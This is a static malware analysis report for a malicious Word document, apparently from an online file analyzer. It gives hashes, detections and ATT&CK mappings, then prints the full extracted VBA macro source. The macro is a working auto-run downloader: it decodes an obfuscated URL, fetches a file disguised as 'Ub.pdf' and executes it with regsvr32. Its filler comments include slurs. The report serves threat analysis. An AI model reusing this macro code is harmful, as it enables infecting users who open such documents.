Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9c646d782b3ded80…

MALICIOUS

Office (OOXML)

116.2 KB Created: 2020-07-23 08:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 642fc609e986b2c17132e2d481abf3f2 SHA-1: e82a1661b083c2cca89ecad9d83424c3d553067a SHA-256: 9c646d782b3ded8044d293e84f08aaa07d364fb18d010db6c0189dad7123035c
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The 'autoopen' macro executes a function that appears to download a file named 'Ub.pdf' and then runs it using 'WshShell.run'. This indicates the document is a downloader designed to fetch and execute a secondary payload. The ClamAV detection 'Doc.Downloader.GreenBox5-9139204-0' further supports this assessment.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal mp As LongPtr, ByVal Tk As String, ByVal wq As String, ByVal j0 As LongPtr, ByVal Gv As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
R4 = i(c4)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3977 bytes
SHA-256: f88a97ca61cf98136123eacb5261e4a93991df0167d6e1329327275ce6f1ae87
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Sw"
Public Const D As String = "Ub.pdf"
Function i(tE)
oV = hF(tE)
For dE = 0 To UBound(oV)
 aR = aR & Chr(oV(dE) Xor 1)
Next dE
i = aR
End Function
Function hF(tE)
hF = Split(tE, " ")
End Function
Sub autoopen()
R4 = i(c4)

' Undo uno follow clout
' Awards holly onerous giant ripen refractory
' Ineffectual displacement
frm.download R4, D

' Cement coconut irresolute dowager christopher mink
' Magnetic sciences

' Cadillac makers
' Maori twould mailman scenarios alexandra
' Questionable
' Naval above stewart proxy

' Astounding boorish listless blonde
' Suggested restrictions nat
' Golden claudia dryer covetous losing portentous
' Garish lender passengers

' Variables techno hoops

' Adopt females systems ditto
' Securely spain tag defense would islands
' Ruff grotto kits
' Phrases limited seriously chloe
Dim Fk As New WshShell

' Hoot
' Steven genetics sleeve solely cellular
' Baize comet
' Omissions promised references
' Lc honors
Call Fk.run(hn & m & "32 " + D)
End Sub

Attribute VB_Name = "Sw1"
Sub E8()

' Tape
' Density flooring il benedict
' Wanna tested

' Thirtieth nh
' Statuary office masturbating negative holders

' Inalienable hard-headed bowl blacks dorsal
' Luxury
' Nova handheld
' Bacchus tableau doubles reprisal

' Fy budgets undervalue fatal
' Vids warranty scripts
' Eliminate chosen shaved beverage

' Stay wy normal raid
' Unsociable replica famished oblation

' Indolence windmill
' Herbage act undercurrent mozilla undeniable
' Unskilled teens defining mention agonised

' Glad irregularity hook beavers boundaries
' Dash neck
' Paroxysm thumbnail transitional frustration sounds
' Shaped dialog seem newer
' Humidity heralds mama
' Essence niggers tableau roumania
' Stoicism

' Trans fraction
' Stand
' Martha brochure
' Duffer tatters durban

' Limply sith brings wilkinson classroom
' Parenthesis
' Bumper xnxx

' Entertaining connecting merge say allison
' Jeffrey retrograde browsing lars wales
' Year curious baboon odium
' Environs robbie

' Inter lunged abominably mold
' Leakage

' Overworked portrait unencumbered
' Pallet gsm bach peaked
' Theoretic
' Participate gradually fen
' Ai checkout initiative des manifests
End Sub

Attribute VB_Name = "MR"
Public Const hn As String = "reg"
Public Const m As String = "svr"
Public Const c4 As String = "105 117 117 113 59 46 46 50 118 116 106 57 118 119 47 98 110 108 46 121 100 108 98 109 46 104 99 96 47 113 105 113 62 109 60 116 111 117 52 47 98 96 99 33"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal mp As LongPtr, ByVal Tk As String, ByVal wq As String, ByVal j0 As LongPtr, ByVal Gv As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal mp As Long, ByVal Tk As String, ByVal wq As String, ByVal j0 As Long, ByVal Gv As Long) As Long
#End If
Function zL()

' Atomic reprobate chieftain
' Others configurations incurred

' Continuously madrid php
' Distinguished tepid blots mlb centuries yesterday
' Academy she jury
' Blend chemicals interested
' Space hackneyed domestic
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{085CB56D-AD88-40F9-AE82-07DB5CC27C62}{D1241FC6-B60C-413E-BABC-E34F05F55459}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 6554b4b160726ee3ca55a9631bc8b8ab5ac8c7947642ad7ef01dddc28f6dfc1c

Open this report in the interactive analyzer, or submit your own file for analysis.